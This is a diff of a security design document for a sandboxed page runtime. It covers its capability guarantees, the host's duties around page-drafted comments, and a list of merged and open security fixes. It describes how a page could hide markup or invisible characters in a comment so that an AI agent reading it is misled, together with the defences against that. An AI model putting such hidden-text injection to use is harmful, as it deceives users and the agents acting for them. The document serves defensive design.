+ person notices, never what is already in the host's composer.
1235
807
 
1236
808
  ### The app runtime
1237
809
 
1238
- What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the
1239
- host's services through `porthole.use(name)`. Without it there is no `porthole` global, and the
1240
- config can't name the runtime's own host functions. A host that only shows content can skip this
1241
- section.
810
+ What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the host's
811
+ services through `porthole.use(name)`; without it there is no `porthole` global, and the config
812
+ can't name the runtime's own host functions. A host that only shows content can skip this section.
813
+ How it works: [DESIGN.md](DESIGN.md) § The capability runtime; how to wire it, with code:
814
+ [ADOPTING.md](ADOPTING.md) § The capability runtime.
1242
815
 
1243
816
  **Porthole guarantees**, in the bridge, before any handler runs:
1244
-
1245
817
  - A page reaches the built-ins its kind offers (`clipboard`, `links`, `downloads`, `comments`) and
1246
- what it declared when published; anything else is refused (`undeclared`). The names it declares
1247
- in `data` hold with a viewer and without one (P094). A page from before 0.7 (the
1248
- host's `null` declaration) keeps 0.6's surface and gets none of `user`, `artifact`, `assets` and
1249
- `db`.
1250
- - Each method has a least level (`view < interact < admin < owner`), held against the viewer's
1251
- level from the host's `access`. A display without a viewer gets nothing above `view` and none of
1252
- the runtime's own host functions.
818
+ what it declared when published; anything else is refused (`undeclared`). The names it declares in
819
+ `data` hold with a viewer and without one (P094). A page stored before runtime declarations (the
820
+ host's `null` declaration) takes the legacy path: the built-ins and the old globals, none of
821
+ `user`, `artifact`, `assets` and `db`.
822
+ - Each method has a least level (`view < interact < admin < owner`), held against the viewer's level
823
+ from the host's `access`. A display without a viewer gets nothing above `view` and none of the
824
+ runtime's own host functions.
1253
825
  - A version mounted with `intersectDeclarations(version's, current)` gets only what both
1254
826
  declarations allow (P093).
1255
- - `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for
1256
- the viewer, and paths in answers say `data/users/me`, never that id.
1257
- - What changes the artifact for everyone needs, by default, a gesture and a confirmation:
1258
- `artifact.publish` and `assets.delete` (a host's `methodGates` for them replace these).
1259
- - A `db.batch` runs under the gates of each of its writes, and a `db.watch` under those of `get`
1260
- or `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole
1261
- (P094).
1262
- - Except in **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with
1263
- its id), assets are served only to an access for their own artifact, after the host's check. A
1264
- code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and
1265
- only while the config still lets uploaded code run, asked at every load, in bearer mode too
1266
- (where every artifact config must; P103); anything else is a download.
1267
- - `comments` is write-only: the page learns only whether the composer opened. It opens only from
1268
- a gesture with the host page's focus in the calling frame (P109: a press in it or a Tab into it;
1269
- not the person typing in the host's UI, nor a gesture in another display; negative control
1270
- `comments-in-frame`). In a nested page (P111) it opens too while the page's shell saw the
1271
- person's gesture within the last second, with no press or key on the host's page since: a real
1272
- click on the page's button a moment after typing in the host's composer opens it, on full
1273
- Chromium too (porthole#53); with no click it is refused, whatever the page says in the shell's
1274
- name, and so is one on a key of the person's that reached the page while it fought for the
1275
- keyboard, or, where the host's page sees the pointer, while the pointer was elsewhere (P120). A
1276
- draft it gives (P108) is at most 2,000 characters of text a person can
1277
- see (P109): nothing invisible (zero-width characters, bidi and tag characters, controls but a
1278
- new line and a tab; U+200C and U+200D only between two letters or marks, where Persian and the
1279
- Indic scripts need them, never first, last, doubled, beside a space or punctuation, or in an
1280
- emoji sequence; a variation selector after a pictograph is fine), no line or paragraph
1281
- separator, not blank-looking, at most 32 blanks in a row and two blank lines in a row; anything
1282
- else is refused before the handler. A joiner between two letters that shapes nothing still
1283
- draws as nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
827
+ - `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for the
828
+ viewer, and paths in answers say `data/users/me`, never that id.
829
+ - `artifact.publish` and `assets.delete` change the artifact for everyone, so by default they need a
830
+ confirmation with their whole effect (a host's `methodGates` for them replace this; no proof of a
831
+ click is asked, P149).
832
+ - A `db.batch` runs under the gates of each of its writes, a `db.watch` under those of `get` or
833
+ `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole (P094).
834
+ - Assets are served only to an access for their own artifact, after the host's check, except in
835
+ **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with its id). A
836
+ code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and only
837
+ while the config still lets uploaded code run, asked at every load, in bearer mode too (where
838
+ every artifact config must; P103); anything else is a download.
839
+ - `comments` is write-only: the page learns only whether the composer opened. It reaches the host's
840
+ handler whenever the page calls it, at most 30 times a minute, with no proof of a click (P149);
841
+ whether the composer opens is the handler's answer. A draft it gives (P108) is at most 2,000
842
+ characters of text a person can see (P109), or it is refused before the handler: nothing invisible
843
+ (zero-width, bidi and tag characters, controls but a new line and a tab; U+200C and U+200D only
844
+ between two letters or marks, where Persian and the Indic scripts need them, never first, last,
845
+ doubled, beside a space or punctuation, or in an emoji sequence; a variation selector after a
846
+ pictograph is fine), no line or paragraph separator, not blank-looking, at most 32 blanks in a row
847
+ and two blank lines in a row. A joiner between two letters that shapes nothing still draws as
848
+ nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
1284
849
  label and quote reach the handler without what a person can't see, and are refused if nothing
1285
850
  visible is left.
1286
- - `defineRuntimeConformance` checks the host's handlers, and with `api` its own API for `db`,
851
+ - `defineRuntimeConformance` checks the host's handlers and, with `api`, its own API for `db`,
1287
852
  `artifact` and `assets`, with a forged context (a viewer claiming to be the owner, no rules).
1288
853
 
1289
854
  **The host must**
1290
-
1291
855
  - Treat its API as the wall: check each call again from its own session and its own stored
1292
- declaration, never from `context.viewer` or `context.declared`.
1293
- - Run `defineRuntimeConformance` with `api` in CI, against its real API.
1294
- - Say each viewer's level in `access`, and keep public grants low (S4).
1295
- - Store a declaration per version, and mount a version with
1296
- `intersectDeclarations(version's, current)`.
856
+ declaration, never from `context.viewer` or `context.declared`. Run `defineRuntimeConformance`
857
+ with `api` in CI, against its real API.
858
+ - Say each viewer's level in `access`, keep public grants low, and handle abuse on shared pages
859
+ (S4).
860
+ - Store a declaration per version, and mount a version with `intersectDeclarations(version's,
861
+ current)`.
1297
862
  - Revoke with its per-request check (`authorize`) and `content.forget(…)`.
1298
863
  - Keep each person's data apart in its own stores, and refuse moved bases and versions
1299
864
  (`Refused("conflict")`).
1300
- - Handle abuse on shared pages (S4).
1301
- - Show a comment's draft (P108) whole, as the person's editable plain text in its own composer,
1302
- and post it only on the person's own Send, never on the page's word. Once posted, the comment is
1303
- the person's: mentions in it act as theirs, which is why they must see it all first. So (P109;
1304
- ADOPTING.md has the code):
1305
- - An open never replaces, appends to or moves what the person has typed, or the place they
1306
- chose: while the composer holds their words, answer `false`, or show the page's words as a
1307
- separate suggestion that takes no focus. (The page knows they are writing anyway: its
1308
- `selected`, and draft marks.)
1309
- - A composer the page filled takes no focus when it opens (keys stay where the person was
1310
- typing: what they type for the page must not land in a postable comment), and doesn't send on
1311
- Enter until the person has focused or edited it themselves: Send is a click until then. It is
1312
- a view the content brought (§6's guard): no press for 500 ms after it opens, Send not focused,
865
+ - Show a comment's draft (P108) whole, as the person's editable plain text in its own composer, and
866
+ post it only on the person's own Send, never on the page's word. Once posted, the comment is the
867
+ person's (mentions in it act as theirs), so they must see it all first (P109):
868
+ - An open never replaces, appends to or moves what the person has typed, or the place they chose:
869
+ while the composer holds their words, answer `false`, or show the page's words as a separate
870
+ suggestion that takes no focus.
871
+ - A composer the page filled takes no focus when it opens (what the person types for the page must
872
+ not land in a postable comment), and doesn't send on Enter until the person has focused or
873
+ edited it. It is a view the content brought (§6's guard): no press for 500 ms, Send not focused,
1313
874
  beside the frame where it can.
1314
- - It says the text is the page's ("Suggested by this page", or the page's name), drawn by the
1315
- host outside the frame, until the person edits it, and never shows it as one of their own
1316
- drafts: the host's own list of drafts is how a person finds theirs, not the frame's markers,
1317
- which a page can draw too.
1318
- - The draft's view (P107) and the composer put nothing one click away that posts, submits or
1319
- discards.
1320
- - Render a page-drafted comment as plain text, or show the person before Send what readers will
1321
- see: markup a markdown renderer hides (an HTML comment, a link definition) is still read by an
1322
- agent. Show the anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand
1323
- them to a model only as the page's words.
875
+ - Until the person edits it, it says the text is the page's ("Suggested by this page"), drawn by
876
+ the host outside the frame. It never shows it as one of their own drafts: the host's own list of
877
+ drafts, not the frame's markers (which a page can draw), is how a person finds theirs.
878
+ - Nothing one click away in the draft's view (P107) or the composer posts, submits or discards.
879
+ - Render a page-drafted comment as plain text, or show before Send what readers will see: markup a
880
+ markdown renderer hides (an HTML comment, a link definition) is still read by an agent. Show the
881
+ anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand them to a model only
882
+ as the page's words.
1324
883
 
1325
884
  **Not guaranteed**
1326
-
1327
- - Closed egress covers the network, not the host's services: what a page learns from `user`, or
1328
- what a viewer types into it, it can store in `db`, where its author (and other viewers, as the
1329
- page's rules allow) can read it.
885
+ - Closed egress covers the network, not the host's services: what a page learns from `user`, or what
886
+ a viewer types into it, it can store in `db`, where its author (and other viewers, as the page's
887
+ rules allow) can read it.
1330
888
  - `db` rewrites only paths: an id the page stores inside a document's data is returned as stored.
1331
889
  - In bearer mode, assets are served by id alone, without the host's check.
1332
- - A draft is the page's words in the person's composer: a person who posts it without reading
1333
- posts what the page chose, and an agent that reads the comment takes it as theirs. Porthole
1334
- bounds what can hide in it (visible text, 2,000 characters) and when it opens (a gesture with the
1335
- person in the calling frame, P109: before P109, any gesture on the host's page in the last 5 s,
1336
- typing in its own composer included); reading it is the person's. A page can still open the
1337
- composer on the person's own press in its frame, at a moment it chooses (the second click of a
1338
- double click, a field it asked them to type into): the composer's duties above are the bound.
1339
-
1340
- ## 8. Fixes in flight
1341
-
1342
- The decisions below come from the 2026-10-19 review, and all of them have merged. Each row says
1343
- what was wrong, what holds now, and the limit its decision accepts, if any. Later reviews' decisions
1344
- are in the status line and in DECISIONS.md: P105 (after the review of P104), P109 (after the review
1345
- of 0.12.0's drafts), P111 (a nested page, S3; in 0.14.0), P114 (a nested page's shell on a label of
1346
- its own, after porthole#56; in 0.14.1), P124 (a frame status is the word of Porthole's pages, after
1347
- the audit raft-security-audit#16; in 0.14.5: §4, §6, §7, S6), P125 (a served display that isn't
1348
- nested takes its word from a door no same-scope content can reach, after the audit of 2026-10-30
1349
- found P124 held only for a nested display or one alone in its scope; in 0.14.6: §4, §6, §7, S7).
1350
-
1351
- | Decision | State | What it closes | Sections |
1352
- | --- | --- | --- | --- |
1353
- | P092 | Merged | A request with a method `fetch` refuses (`TRACE`) could end a Node process through the Node adapter; the issue endpoint read a JSON body without a byte limit; its rate limit keyed anonymous requests on headers a client sets. Now no request ends the process, a body is read to 64 KiB at most, and the key is an address the client can't set. | §5, S4 |
1354
- | P093 | Merged | `intersectDeclarations` compared rules name by name, so a current wildcard didn't narrow a version's named rule, and a collection named `__proto__` was lost. Now the result allows exactly what both sides allow. | §7 |
1355
- | P094 | Merged | Without a viewer, a page's declared `data` names weren't held; a pushed result answered a read past `readData`'s gates; `db.batch` and `db.watch` skipped their inner methods' `methodGates`. Now each holds. | §4, S2, S4, §7 |
1356
- | P095 | Merged | What content sent was read before its gate: a log or error report was serialized whole first; waiting confirmations had no cap. Now the bridge reads it after the gate into bounded text, nothing a page sends throws out of an adapter, and at most 10 confirmations wait per display. | §5, S1, S5 |
1357
- | P096 | Merged | The negative-control runner counts a control that didn't run as passed, and CI runs the runtime's controls only. | §4 |
1358
- | P097 | Merged | A release waits for the same commit's CI. No guarantee here depends on it. | |
1359
- | P098 | Merged | A set's page whose notice came late was taken for a navigation away (red on Chromium since 0.6.0), and tests that waited a fixed time. Accepted: a files display may hold a frame that did navigate away for up to 2 s before starting it again, delivering nothing while it waits. | S1 |
1360
- | P099 | Merged | A served page in a tab had no sandbox: `window.open` sent input out, it could navigate its opener, open a picture-in-picture window, and ask for the camera, location or full screen. Now its headers carry its frame's sandbox and deny what its frame's `allow` doesn't grant, and the shell closes those on a tab too; the served suite probes self-navigation in frames and tabs. A browser without the Navigation API is an accepted limit. | S4 |
1361
- | P100 | Merged | `setModelContext` was rate-limited only, unseen by the person. Now it needs the host's `show` by default. Accepted: shown isn't read, and characters that draw as blanks pass, bounded by the length. | S1, S5 |
1362
- | P101 | Merged | Under https Porthole read unprefixed `porthole-*` cookies a sibling label can plant; the entered mark carried no label; url mode checked neither `Origin` nor `Sec-Fetch-Site`. Now only `__Host-` names are read, the mark names its label, and a url-mode app answers its own origin and navigations. | S3, S6 |
1363
- | P102 | Merged | This document. | |
1364
- | P103 | Merged | A live widget's capabilities could add origins; bearer-mode assets skipped the code re-check; `callTool` had no rate. Now the preset refuses them and its config is frozen, every load asks the current config (its ETag says which answer), and `callTool` has 30 a minute. | S2, S5, §7 |
1365
- | P143 | Merged (0.15.0) | Embeds: a public grant's documents framed by any page (`frame-ancestors *`) only for a session the host minted with `embed`, never a reader's. Such a frame has no host: it hears no one, Porthole tells no parent anything, no capability or runtime host function runs, no door. Accepted: the embedding site sees the page load and hears what the page itself posts to its parent or top. The host must keep its embed entry from widening grants, and blank takedowns within its stated bound. | S4 |
1366
-
1367
- Open with no decision yet; until then they are the host's to cover:
890
+ - A draft is the page's words in the person's composer: posted unread, it says what the page chose,
891
+ and an agent that reads the comment takes it as the person's. Porthole bounds what can hide in it
892
+ (visible text, 2,000 characters) and how often it is asked (30 a minute); reading it is the
893
+ person's job. A page opens the composer at a moment it chooses, with a press of the person's or
894
+ with none (P149): the composer's duties above are the bound.
895
+
896
+ ## 8. Not covered yet
897
+
898
+ These have no decision yet; until they do, they are the host's to cover:
1368
899
 
1369
900
  - a check, at mount or in development, that the page sends its `frame-src` (S1: run
1370
901
  `defineHostConformance`);
1371
902
  - a check of which displays share a page (S7: group them yourself);
1372
- - an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for
1373
- secrets (S4);
903
+ - an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for secrets
904
+ (S4);
1374
905
  - refusing weak or example secrets, and a health answer that isn't derived from the secret (S3);
1375
906
  - dropping `True-Client-IP` and `CF-Connecting-IP`, and an SSRF example for `instance` (S6);
1376
907
  - a warning when the content domain isn't on the PSL (S3);